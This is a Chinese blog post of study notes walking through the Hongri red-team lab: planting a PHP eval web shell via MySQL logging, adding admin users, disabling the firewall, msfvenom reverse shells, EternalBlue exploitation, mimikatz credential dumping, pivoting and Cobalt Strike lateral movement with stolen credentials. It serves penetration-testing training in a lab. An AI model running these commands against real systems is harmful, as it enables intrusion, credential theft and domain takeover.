红日靶场一学习笔记


红日靶场一

一:环境搭建

1、下载好镜像文件。

img

2、直接vmware启动即可。

这里我用自己的win10虚拟机作为攻击机,设置为双网卡NAT,vm2(192.168.234.131)

img

设置win7为双网卡,vm1(192.168.52.143),vm2(192.168.234.130)

img

设置win08单网卡vm1(192.168.52.138),win2k3为单网卡vm1(192.168.52.141)

img

这样win10就可以访问win7,但不能直接访问win08和win2k3。

三台靶机的初始密码都是hongrisec@2019 ,初次登录需要改密码。

进入win7,开启web服务。

img

二:渗透过程:

信息收集

1、简单地扫描下一win7端口

img

2、访问80端口是一个phpstudy探针,扫描一下目录,发现一个phpmyadmin目录和beifen.rar文件。

phpmyadmin

直接root/root就可以进入。

直接写马不行,版本高,用mysql日志写shell就行,绝对路径在探针上有显示。

Snipaste_2021-07-20_15-11-05

 

set global general_log = "ON";

Snipaste_2021-07-20_15-11-28

 

Snipaste_2021-07-20_15-11-51

set global general_log_file = "C:/phpStudy/www/test.php";

Snipaste_2021-07-20_15-12-10

 

Snipaste_2021-07-20_15-13-57

SELECT '<?php eval($_POST["attack"]);?>'

4、使用antsword连接一下。

Snipaste_2021-07-20_15-20-06

Snipaste_2021-07-20_15-20-14

 

加用户

Snipaste_2021-07-20_15-24-05

 

net user 账户 密码 /add
管理员权限,所有直接加
net localgroup administrators admin /add

 

关防火墙

netsh advfirewall show allprofile state
netsh advfirewall set allprofiles state off

Snipaste_2021-07-20_20-56-51

其它姿势

参考:https://blog.csdn.net/qq_41821603/article/details/109948920

三:后渗透

关防火墙

netsh advfirewall show allprofile state
netsh advfirewall set allprofiles state off

Snipaste_2021-07-20_20-56-51

msf链接

antsword执行以下命令,msf上线一下

msfvenom -p windows/meterpreter_reverse_tcp LHOST=ip  LPORT=4444 -f exe -o shell.exe

Snipaste_2021-07-20_15-57-38

use exploit/mutli/handler 

set payload windows/x64/meterpreter/reverse_tcp

set lhost ip

set lport 4444

exploit -j(后台)允许

Snipaste_2021-07-20_16-00-45

蚁剑上传木马,获取sessions

Snipaste_2021-07-20_16-00-29

查看信息

Snipaste_2021-07-20_16-09-08

迁移进程

一般是explorer.exe

Snipaste_2021-07-20_16-09-23

 

migrate pid

 

Snipaste_2021-07-20_16-09-45

mimikatz抓密码

load mimikatz 加载mimikatz 模块,然后wdigest 查看明文密码,成功获取

Snipaste_2021-07-20_16-09-53

 

Snipaste_2021-07-20_16-10-04

Snipaste_2021-07-20_17-35-39

关于msf cmd交互

execute -f cmd.exe -i -t

 

Snipaste_2021-07-20_16-57-55

关于乱码

用chcp 65001解决

Snipaste_2021-07-20_16-58-02

 

开启3389

run post/windows/manage/enable_rdp
rdesktop ip:3389

域环境

net config workstation  查看是否有域,以及当前登录域
net view 查看域内主机列表
查看域控:
net group "domain controllers" /domain 查看域控制器(如果有多台)
net user /domain 查看域内所有域用户
net group "domain admins" /domain 查看域管理员列表

Snipaste_2021-07-20_16-45-09

 

域名为 god
域中有三台主机:
stu1.god.org  
root-tvi862ubeh.god.org  
owa.god.org   为域控
域用户有 : ligang , liukaifeng01 ,administrator
域管理员只有一个: administrator
其实直接就拿到域管理员了

 

四:横向渗透

msf+proxychains

先进入sessions

run autoroute -s 192.168.52.0/24
或者
run post/multi/manage/autoroute
设置proxychains代理
use auxiliary/server/socks4a
set srvport 1080
set srvhost 127.0.0.1
run

Snipaste_2021-07-20_21-53-38

 

然后vim /etc/proxychains.conf 修改proxychains 配置为:

在这里插入图片描述

 

即可通过代理扫描,发现扫描不成功,

百度发现可以这样,拿msf的直接代理扫。发现很慢,

Snipaste_2021-07-20_21-58-42

 

前提:拿下边界机之后,进入内网,想用nmap怎么办? CS可以开启代理,但是是socks4的代理,只能使用tcp协议,所以nmap使用的时候要使用-sT选择使用tcp协议,要使用-Pn不使用ICMP的ping确认主机存活

win2008

解决问题,直接挂代理扫

Snipaste_2021-07-20_21-19-41

结果,发现445

Snipaste_2021-07-20_22-00-39

 

扫描ms17-010

search ms17-010 
use auxiliary/scanner/smb/smb_ms17_010
set rhost 10.37.129.7
run

Snipaste_2021-07-20_22-16-13

注意lhost是跳板机的ip

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/reverse_tcp

set lport 5555

set lhost 192.168.52.143

set rhosts 192.168.52.138

exploit

 

Snipaste_2021-07-20_22-20-40

 

Snipaste_2021-07-20_22-23-20

 

win2003

Snipaste_2021-07-21_09-21-01

另一台windows2003也开了445,发现只有

exploit/windows/smb/ms17_010_psexec

或者

auxiliary/admin/smb/ms17_010_command

一句话一句话的添加用户

能用,这里用第二个

扫管道

use auxiliary/scanner/smb/pipe_auditor

Snipaste_2021-07-21_09-51-00

 

use exploit/windows/smb/ms17_010_psexec

Snipaste_2021-07-21_09-54-23

设置管道

Snipaste_2021-07-21_10-13-17

set payload windows/meterpreter/bind_tcp

Snipaste_2021-07-21_09-59-23

 

Snipaste_2021-07-21_09-59-30

 

 

 

关于ipc$

https://blog.csdn.net/weixin_33969116/article/details/91833739?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-0.control&spm=1001.2101.3001.4242

https://blog.csdn.net/qq_41891666/article/details/107598979

空连接需要口令用户名为空

https://zhuanlan.zhihu.com/p/43643596

最后需要用户点击

Snipaste_2021-07-21_10-38-13

 

 

CS

webshell反弹shellcscs创建Listenerpayload选择beacon http

然后攻击 -> 生成后门 -> Windows Executable(S),选择刚创建的 Listener

启动

./cobaltstrike

./teamserver 192.168.85.128(ip,不能0.0.0.0 ,127.0.0.1) admin(密码)

Snipaste_2021-07-21_10-49-47

Snipaste_2021-07-21_10-50-50

 

设置监听

Snipaste_2021-07-21_14-13-02

Snipaste_2021-07-21_14-12-43

 

生成exe

Snipaste_2021-07-21_14-14-27

 

Snipaste_2021-07-21_14-13-39

 

目标主机信息收集

拿到 shell 第一步,调低心跳值,默认心跳为 60s,执行命令的响应很慢

我这是自己的内网且没有杀软我就设置为 0 了,真实环境不要设置这么低

进入 beacon 执行 sleep 0,然后查看下基本的本机信息:

whoami`、`hostname`、`net user`、`net localgroup administrators

众所周知 systeminfo 可以查看系统详细信息,我就不展示,提供两个小 tips:

查看是什么操作系统 & 系统版本: 系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version" 查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%

查询已安装的软件及版本信息:wmic product get name,version

win10 中,输入 wmic /? 会提示 wmic 已弃用,但在 server2012R2win7 等版本中可以正常使用

powershell 中可替代该命令的是 Get-WmiObject:

Get-WmiObject -class win32_product | Select-Object -property name,version

查询进程及服务: tasklist,默认显示映像名称,PID,会话名,会话,内存使用

默认显示映像名称,PID,服务

wmic process list brief

 

常见的杀软进程:

进程名软件
360sd.exe 360 杀毒
360tray.exe 360 实时保护
ZhuDongFangYu.exe 360 主动防御
KSafeTray.exe 金山卫士
SafeDogUpdateCenter.exe 安全狗
McAfee McShield.exe
egui.exe NOD32
AVP.exe 卡巴斯基
avguard.exe 小红伞
bdagent.exe BitDefender

 

 

 

横向探测

获取到一个 csbeacon 后可以目标内网情况和端口开放情况

beacon 上右键 -> 目标 -> 选择 net view 或者 port scan:

Snipaste_2021-07-21_13-40-15

执行后可以在 Targets 选项卡看到扫描出来的主机:

Snipaste_2021-07-21_13-50-23

cshashdump 读内存密码:hashdump,用 mimikatz 读注册表密码:logonpasswords

Snipaste_2021-07-21_13-40-28

 

Snipaste_2021-07-21_13-41-05

在凭证信息一栏可以清楚查看:

 

如果权限不够可以提权,提权插件:ElevateKit

额外增加 ms14-058ms15-051ms16-016uac-schtasks 四种提权方式

抓取密码后可以先探测内网其他主机:

ping 方法:

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.72.%I | findstr "TTL="

Snipaste_2021-07-21_13-46-34

最简单的直接 arp -a 查看也可以,这里还推荐一个好用工具 Ladon

Ladon作者是 k8gege,它是一个大型内网渗透扫描器并且支持 cs 脚本形式

cs 要使用的话只需要下载其中的 Ladon.exeLadon.cna 即可运行基本功能

详细功能参考官方 wiki官方说明文档

扫描网段内存活主机信息:Ladon 192.168.72.0/24 OsScan

Ladon` 还有很多使用功能,比如扫描 `MS17-010`:`Ladon 192.168.72.0/24 MS17010

其他的功能可以自己去尝试

域探测差不多了还可以使用 BloodHound这款域渗透分析工具来分析攻击路径

BloodHound 介绍:

BloodHound 是一种单页的 JavaScript 的 Web 应用程序,构建在 Linkurious 上,用 Electron 编译,NEO4J 数据库 PowerShell/C# ingestor.BloodHound 使用可视化图来显示 Active Directory 环境中隐藏的和相关联的主机内容。攻击者可以使用 BloodHound 轻松识别高度复杂的攻击路径,否则很难快速识别。防御者可以使用 BloodHound 来识别和防御那些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松深入了解 Active Directory 环境中的权限关系。

 

横向移动

这里有很多种方式,可以:

  1. cs 上开通 socks 通道,在攻击机上用 proxychains 将攻击机的 msf 代入内网,但是 cs 的 socks 代理不稳定

  2. ew 添加转接隧道,在攻击机上用 proxychains 将攻击机的 msf 代入内网

  3. cs 派生到 msf,msf 使用 socks4a 代理进内网,但是并不稳定

  4. cs 派生到 msf,msf 使用使用 autoroute 添加路由进内网

  5. 用 frp 创建 socks5 代理

 

 

SMB Beacon

另外这里还要介绍下 cs 派生 SMB Beacon

SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效

简单来说,SMB Beacon 有两种方式

第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash

新建一个 Listenerpayload 设置为 Beacon SMB

Snipaste_2021-07-21_13-50-29

我用的是 4.0 版本,之前的 3.14 版本和这个可能会有微小差异

在已有的 Beacon上右键 Spawn(生成会话 / 派生),选择创建的 smb beaconlisterner:

 

选择后会反弹一个子会话,在 externalip 后面会有一个链接的小图标:

Snipaste_2021-07-21_13-50-44

这就是派生的 SMB Beacon,当前没有连接

可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它

 

第二种在已有的 beacon 上创建监听,用来作为跳板进行内网穿透

前提是能够通过 shell 之类访问到内网其他主机

 

psexec 使用凭证登录其他主机

前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息

于是可以尝试使用 psexec 模块登录其他主机

右键选择一台非域控主机 ROOT-TVI862UBEHpsexec 模块:

Snipaste_2021-07-21_13-53-49

在弹出的窗口中选择使用 god.orgAdministrator 的凭证信息

监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话:

Snipaste_2021-07-21_14-24-25

 

执行后效果如下:

Snipaste_2021-07-21_13-58-49

可以看到分别执行了

rev2self
make_token GOD.ORG\Administrator hongrisec@2020
jump psexec ROOT-TVI862UBEH smb

这几条命令,执行后得到了 ROOT-TVI862UBEH 这台主机的 beacon

如法炮制得到了域控主机 OWAbeacon:

Snipaste_2021-07-21_14-01-55

最终的图标视图如图所示:

Snipaste_2021-07-21_14-02-11

 

token 窃取

除了直接使用获取到的 hash 值,也可以直接窃取 GOD\Administratortoken 来登录其他主机

选择 beacon 右键 -> 目标 -> 进程列表

选择 GOD\Administratortoken 盗取:

Snipaste_2021-07-21_14-28-55

然后在选择令牌处勾选使用当前 token 即可:

Snipaste_2021-07-21_14-29-17

效果和前面是一样的

Snipaste_2021-07-21_13-53-49

 

 

参考链接:

https://www.cnblogs.com/wh4am1/p/7204462.html

https://blog.csdn.net/qq_41891666/article/details/107598979?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-4.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-4.control

https://blog.csdn.net/qq_41821603/article/details/109948920

https://blog.csdn.net/qq_40989258/article/details/110168816

https://soapffz.com/sec/558.html

https://www.icode9.com/content-4-914703.html

http://cn-sec.com/archives/261642.html

 
posted @ 2021-07-21 14:37  adsry  阅读(7024)  评论(0编辑  收藏  举报